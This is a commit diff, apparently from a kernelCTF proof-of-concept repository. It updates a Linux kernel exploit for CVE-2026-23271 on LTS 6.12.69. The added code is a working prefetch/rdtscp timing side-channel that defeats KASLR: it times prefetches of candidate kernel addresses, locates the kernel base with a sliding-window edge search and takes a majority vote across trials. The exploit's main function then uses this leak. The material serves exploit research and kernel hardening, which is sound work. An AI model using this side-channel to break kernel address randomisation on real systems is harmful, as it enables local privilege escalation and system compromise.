Skip to content

Commit fac130e

Browse files
committed
update exploit
1 parent e29b9d2 commit fac130e

1 file changed

Lines changed: 92 additions & 4 deletions

File tree

  • pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

Lines changed: 92 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -28,14 +28,101 @@ extern "C" {
2828
#include <time.h>
2929
}
3030

31+
#include <algorithm>
32+
#include <limits>
33+
#include <optional>
3134
#include <vector>
3235

3336
#include <xdk/core.h>
3437
#include <xdk/payloads/PayloadBuilder.h>
3538
#include <xdk/util/Register.h>
36-
#include <xdk/util/pwn_utils.h>
39+
#include <xdk/util/error.h>
3740
#include <xdk/postrip.h>
3841

42+
namespace {
43+
44+
constexpr uint64_t KASLR_START = 0xFFFFFFFF81000000ULL;
45+
constexpr uint64_t KASLR_END = KASLR_START + 0x40000000ULL;
46+
constexpr uint64_t KASLR_SLOT_SIZE = 0x200000ULL;
47+
48+
inline __attribute__((always_inline)) uint64_t rdtsc_begin_() {
49+
uint64_t a, d;
50+
asm volatile("mfence\n\t" "rdtscp\n\t"
51+
"mov %%rdx, %0\n\t" "mov %%rax, %1\n\t"
52+
"xor %%rax, %%rax\n\t" "lfence\n\t"
53+
: "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx");
54+
return (d << 32) | a;
55+
}
56+
inline __attribute__((always_inline)) uint64_t rdtsc_end_() {
57+
uint64_t a, d;
58+
asm volatile("xor %%rax, %%rax\n\t" "lfence\n\t" "rdtscp\n\t"
59+
"mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "mfence\n\t"
60+
: "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx");
61+
return (d << 32) | a;
62+
}
63+
inline __attribute__((always_inline)) void prefetch_(uint64_t addr) {
64+
asm volatile("prefetchnta (%0)\n\t" "prefetcht2 (%0)\n\t" : : "r"(addr));
65+
}
66+
inline size_t sidechannel_(uint64_t addr) {
67+
size_t t = rdtsc_begin_();
68+
prefetch_(addr);
69+
return rdtsc_end_() - t;
70+
}
71+
inline uint64_t slot_to_addr_(size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE); }
72+
inline uint64_t abs_diff_(uint64_t a, uint64_t b) { return a > b ? a - b : b - a; }
73+
inline uint64_t compute_median_(std::vector<uint64_t> v) {
74+
size_t n = v.size() / 2;
75+
std::nth_element(v.begin(), v.begin() + n, v.end());
76+
return v[n];
77+
}
78+
inline std::optional<uint64_t> try_find_edge_(const std::vector<uint64_t> &timings, uint64_t window_size) {
79+
if (timings.size() < window_size) return std::nullopt;
80+
uint64_t median = compute_median_(timings);
81+
uint64_t cur = 0;
82+
for (size_t k = 0; k < window_size; k++) cur += abs_diff_(timings[k], median);
83+
uint64_t best = cur;
84+
std::optional<size_t> best_slot = 0;
85+
for (size_t i = 1; i <= timings.size() - window_size; i++) {
86+
cur -= abs_diff_(timings[i - 1], median);
87+
cur += abs_diff_(timings[i + window_size - 1], median);
88+
if (cur > best) { best = cur; best_slot = i; }
89+
}
90+
return best_slot;
91+
}
92+
inline std::optional<uint64_t> try_leak_kaslr_base_(uint64_t window_size, int samples) {
93+
size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
94+
std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max());
95+
for (int i = 0; i < samples; i++)
96+
for (size_t s = 0; s < slots; s++) {
97+
uint64_t t = sidechannel_(slot_to_addr_(s));
98+
if (t < timings[s]) timings[s] = t;
99+
}
100+
auto slot = try_find_edge_(timings, window_size);
101+
if (slot) return slot_to_addr_(*slot);
102+
return std::nullopt;
103+
}
104+
inline std::optional<uint64_t> find_majority_(const std::vector<std::optional<uint64_t>> &slots) {
105+
uint64_t cand = 0; size_t count = 0;
106+
for (const auto &s : slots) {
107+
if (count == 0) { if (s) { cand = *s; count = 1; } }
108+
else if (s && *s == cand) count++; else count--;
109+
}
110+
size_t actual = 0;
111+
for (const auto &s : slots) if (s && *s == cand) actual++;
112+
if (actual > slots.size() / 2) return cand;
113+
return std::nullopt;
114+
}
115+
116+
} // namespace
117+
118+
static uint64_t leak_kaslr_base_local(uint64_t window_size, int samples, int trials) {
119+
std::vector<std::optional<uint64_t>> cands;
120+
for (int i = 0; i < trials; i++) cands.push_back(try_leak_kaslr_base_(window_size, samples));
121+
auto base = find_majority_(cands);
122+
if (!base) throw ExpKitError("Failed to leak KASLR base");
123+
return *base;
124+
}
125+
39126
INCBIN(target_db, "target_db.kxdb");
40127
__asm__(".section .text\n");
41128

@@ -2335,9 +2422,10 @@ int main(int argc, char *argv[])
23352422
}
23362423
if (!ktext) {
23372424
#ifndef KASLR_FIXED
2338-
ktext = leak_kaslr_base(g_target->GetKernelPageCount(),
2339-
/* samples = */ 100, /* trials = */ 3);
2340-
log_dbg("leak_kaslr_base returned ktext=0x%lx",
2425+
ktext = leak_kaslr_base_local(/* window_size = */ 11,
2426+
/* samples = */ 100,
2427+
/* trials = */ 9);
2428+
log_dbg("leak_kaslr_base_local returned ktext=0x%lx",
23412429
(unsigned long)ktext);
23422430
#else
23432431
ktext = 0xffffffff81000000;

0 commit comments

Comments
 (0)